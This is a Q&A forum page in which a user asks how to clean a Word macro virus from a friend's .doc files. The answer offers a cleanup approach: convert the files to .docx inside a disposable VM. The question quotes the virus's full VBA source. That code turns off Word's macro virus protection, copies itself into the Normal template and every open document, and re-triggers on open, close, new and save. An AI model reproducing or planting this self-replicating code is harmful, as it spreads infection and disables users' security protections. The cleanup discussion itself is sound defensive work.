CODEWITHSUNDEEP
vbams-word
Alexandre Babeanu
Alexandre Babeanu

Reputation: 188

Word Macro virus

I'm trying to help a friend who has a word macro virus.

Almost everyone of his.doc files are infected, I'd like to delete the malicious macros without deleting the word files.

Since my friend never uses macros I can actually delete all macros on his system.

How would I go about automating this task?

One of the problems I'm facing is that I dont have permissions to delete the maliscious macros when opening the infected doc files here is the Macro virus's code :

Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
  If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
      .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  End If
  If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
      .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
      .VBComponents.Item(1).CodeModule.CountOfLines)
  End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
   Document_Open
End Sub
Private Sub Document_New()
   Document_Open
End Sub
Private Sub Document_Save()
    Document_Open
End Sub

This is on mac running 10.6.8 with word 2004

Thanks

Alex

Upvotes: 1

Views: 710

Answers (1)

Comintern
Comintern

Reputation: 22195

The quickest way to do this is going to be using a more modern version of Word. I'd do the following. Either create a VM or take a snapshot of an existing VM that you can roll back to. Put all of the infected Word files into a directory, and then run this macro from a Word document:

'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
    Application.DisplayAlerts = wdAlertsNone
    With New Scripting.FileSystemObject
        Dim targets As New Collection
        Dim current As File
        For Each current In .GetFolder("C:\Test").Files
            If .GetExtensionName(current.Path) = "doc" Then
                targets.Add current
            End If
        Next
        Dim infected As Variant
        For Each infected In targets
            Dim doc As Document
            Set doc = Documents.Open(infected.Path)
            doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
            doc.Close wdDoNotSaveChanges
        Next
    End With
    Application.DisplayAlerts = wdAlertsAll
End Sub

Collect all of the resulting .docx files and move them off the VM, then roll it back to your snapshot or delete it. If you need to maintain compatibility with Word 2004, you can do pretty much the same thing to convert them back to that file format - just adjust the file extensions and save as format.

Upvotes: 1

Related Questions